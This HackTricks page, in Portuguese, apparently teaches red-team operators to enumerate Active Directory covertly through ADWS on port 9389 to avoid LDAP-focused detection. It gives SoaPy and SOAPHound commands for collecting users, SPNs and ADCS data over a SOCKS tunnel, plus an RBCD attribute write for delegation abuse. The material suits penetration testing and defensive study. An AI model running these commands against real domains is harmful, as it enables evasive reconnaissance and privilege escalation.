Enumeração e Coleta Discreta do Active Directory Web Services (ADWS)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é ADWS?
Active Directory Web Services (ADWS) está habilitado por padrão em todo Domain Controller desde o Windows Server 2008 R2 e escuta em TCP 9389. Apesar do nome, nenhum HTTP está envolvido. Em vez disso, o serviço expõe dados no estilo LDAP através de uma pilha de protocolos de framing proprietários .NET:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Como o tráfego é encapsulado dentro desses frames SOAP binários e viaja por uma porta incomum, a enumeração via ADWS tem muito menos probabilidade de ser inspecionada, filtrada ou detectada por assinaturas do que o tráfego LDAP clássico/389 & 636. Para operadores isso significa:
- Recon mais discreto – Blue teams often concentrate on LDAP queries.
- Liberdade para coletar a partir de non-Windows hosts (Linux, macOS) tunelando 9389/TCP através de um SOCKS proxy.
- Os mesmos dados que você obteria via LDAP (usuários, grupos, ACLs, esquema, etc.) e a capacidade de realizar writes (por exemplo
msDs-AllowedToActOnBehalfOfOtherIdentitypara RBCD).
As interações ADWS são implementadas sobre WS-Enumeration: cada consulta começa com uma mensagem Enumerate que define o filtro/atributos LDAP e retorna um GUID EnumerationContext, seguida por uma ou mais mensagens Pull que transmitem até a janela de resultados definida pelo servidor. Contextos expiram após ~30 minutos, então ferramentas precisam paginar os resultados ou dividir filtros (consultas por prefixo por CN) para evitar perda de estado. Ao solicitar security descriptors, especifique o controle LDAP_SERVER_SD_FLAGS_OID para omitir SACLs; caso contrário o ADWS simplesmente descarta o atributo nTSecurityDescriptor da sua resposta SOAP.
NOTA: ADWS também é usado por muitas ferramentas RSAT GUI/PowerShell, então o tráfego pode se misturar com atividade administrativa legítima.
SoaPy – Cliente Python nativo
SoaPy é uma reimplementação completa da stack de protocolo ADWS em Python puro. Ele constrói os frames NBFX/NBFSE/NNS/NMF byte por byte, permitindo coleta a partir de sistemas Unix-like sem tocar o runtime .NET.
Principais Características
- Suporta proxy via SOCKS (útil a partir de implants C2).
- Filtros de busca granulares idênticos ao LDAP
-q '(objectClass=user)'. - Operações opcionais de write (
--set/--delete). - Modo de saída BOFHound para ingestão direta no BloodHound.
- Flag
--parsepara embelezar timestamps /userAccountControlquando for necessária legibilidade humana.
Flags de coleta direcionada & operações de escrita
O SoaPy vem com switches curados que replicam as tarefas de hunting LDAP mais comuns via ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, além dos knobs brutos --query / --filter para pulls customizados. Combine-os com primitivas de escrita como --rbcd <source> (define msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging para Kerberoasting direcionado) e --asrep (inverte DONT_REQ_PREAUTH em userAccountControl).
Exemplo de busca SPN direcionada que retorna apenas samAccountName e servicePrincipalName:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
Use o mesmo host/credentials para imediatamente transformar as descobertas em ataque: dump RBCD-capable objects com --rbcds, depois aplique --rbcd 'WEBSRV01$' --account 'FILE01$' para montar uma Resource-Based Constrained Delegation chain (veja Resource-Based Constrained Delegation para o caminho completo de abuso).
Instalação (operator host)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
SOAPHound – Coleta ADWS de Alto Volume (Windows)
FalconForce SOAPHound é um coletor .NET que mantém todas as interações LDAP dentro do ADWS e gera JSON compatível com o BloodHound v4. Ele constrói um cache completo de objectSid, objectGUID, distinguishedName e objectClass uma vez (--buildcache), depois o reutiliza para execuções de alto volume --bhdump, --certdump (ADCS) ou --dnsdump (DNS integrado ao AD), de modo que apenas ~35 atributos críticos saiam do DC. AutoSplit (--autosplit --threshold <N>) particiona automaticamente as consultas por prefixo CN para permanecer abaixo do timeout EnumerationContext de 30 minutos em grandes florestas.
Fluxo de trabalho típico em uma VM de operador associada ao domínio:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
JSON exportados encaixam-se diretamente nos fluxos de trabalho do SharpHound/BloodHound — veja BloodHound methodology para ideias de análise por grafo. AutoSplit torna o SOAPHound resiliente em florestas com milhões de objetos, mantendo a contagem de consultas menor do que snapshots no estilo ADExplorer.
Fluxo discreto de coleta do AD
O fluxo abaixo mostra como enumerar domain & ADCS objects via ADWS, convertê-los para BloodHound JSON e buscar caminhos de ataque baseados em certificados — tudo a partir do Linux:
-
Tunnel 9389/TCP da rede alvo para sua máquina (por exemplo via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Exporte
export HTTPS_PROXY=socks5://127.0.0.1:1080ou use os parâmetros do SoaPy--proxyHost/--proxyPort. -
Coletar o objeto do domínio raiz:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Coletar objetos relacionados ao ADCS da Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Converter para BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Upload the ZIP na BloodHound GUI e execute consultas cypher como
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cpara revelar caminhos de escalonamento de certificados (ESC1, ESC8, etc.).
Escrevendo msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Combine isso com s4u2proxy/Rubeus /getticket para uma cadeia completa de Resource-Based Constrained Delegation (veja Resource-Based Constrained Delegation).
Resumo de Ferramentas
| Propósito | Ferramenta | Observações |
|---|---|---|
| Enumeração ADWS | SoaPy | Python, SOCKS, leitura/escrita |
| Dump de alto volume do ADWS | SOAPHound | .NET, cache-first, modos BH/ADCS/DNS |
| Ingestão para BloodHound | BOFHound | Converte logs do SoaPy/ldapsearch |
| Comprometimento de certificado | Certipy | Pode ser encaminhado através do mesmo SOCKS |
Referências
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
- IBM X-Force Red – Stealthy Enumeration of Active Directory Environments Through ADWS
- FalconForce – SOAPHound tool to collect Active Directory data via ADWS
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


